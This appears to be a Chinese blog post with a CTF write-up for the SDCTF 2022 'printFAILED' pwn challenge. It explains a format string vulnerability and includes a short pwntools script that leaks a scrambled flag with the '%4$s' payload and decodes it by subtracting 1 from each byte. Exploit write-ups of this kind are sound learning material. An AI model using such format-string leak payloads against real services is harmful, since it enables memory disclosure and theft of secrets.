LOADING

加载过慢请开启缓存 浏览器默认开启

[SDCTF 2022]printFAILED 复现

2023/9/6 CTF PWN SDCTF

[SDCTF 2022]printFAILED 复现

printFAILED

这是一道格式化字符串漏洞,出的比较特别,特别搜了下,跟大家分析一下

查看一下保护机制,发现按正常套路求不出偏移

再看看ida,发现里面有flag.txt,但是被scramble函数打乱了,需要我们guess,在printf那一行也出现了flag,我们可以尝试把flag的内容打印出来

nc一下,发现flag存在第四个参数(格式化字符串传参的规定,格式化字符串存放在rdi,因此printf函数会从rsi开始寻找参数),得到的这串代码是不是有点像flag了,有点那味了,接下来就可以看看scramble函数是怎么打乱flag


scramble函数

这段代码定义了一个名为 scramble 的函数,它接受一个整型参数 a1。该函数的作用是对全局变量 flag 中的前 a1 个字符进行递增。

在函数内部,首先定义了一个名为 i 的循环计数器变量。然后使用一个无限循环来遍历 flag 变量中的前 a1 个字符。在每次循环中,函数都会将 flag[i] 变量的值递增 1。

当循环计数器 i 的值大于等于 a1 时,循环结束,函数返回 i 的值。

这里我知识有限,看不出这是什么加密的,别人用按位运算sub来解码,直接可以得到flag


exp如下:

from pwn import *

#p = process('./printFailed')
p = remote('node5.anna.nssctf.cn',28789)

p.recvline()
p.sendline("%4$s")
p.recvline()
x = p.recvline()
y = ''
for i in x:
y+=chr(i-1)
print(y)

总结

做这道格式化字符串漏洞的题,也算是给我开阔了自己的视野,还是要好好加强自己的能力,冲冲冲,干就完事了!!!

Video Tutorial: https://www.youtube.com/watch?v=gSLdg4mipYs(此题讲解的视频)

⬅ 上一篇
[HNCTF 2022 WEEK3] smash 复现
2023-09-07  |  | PWN, HNCTF
下一篇 ➡
[CISCN 2019华北] PWN5(ciscn_2019_n_5) 复现
2023-09-05  |  | PWN, CISCN
0%
Rope Head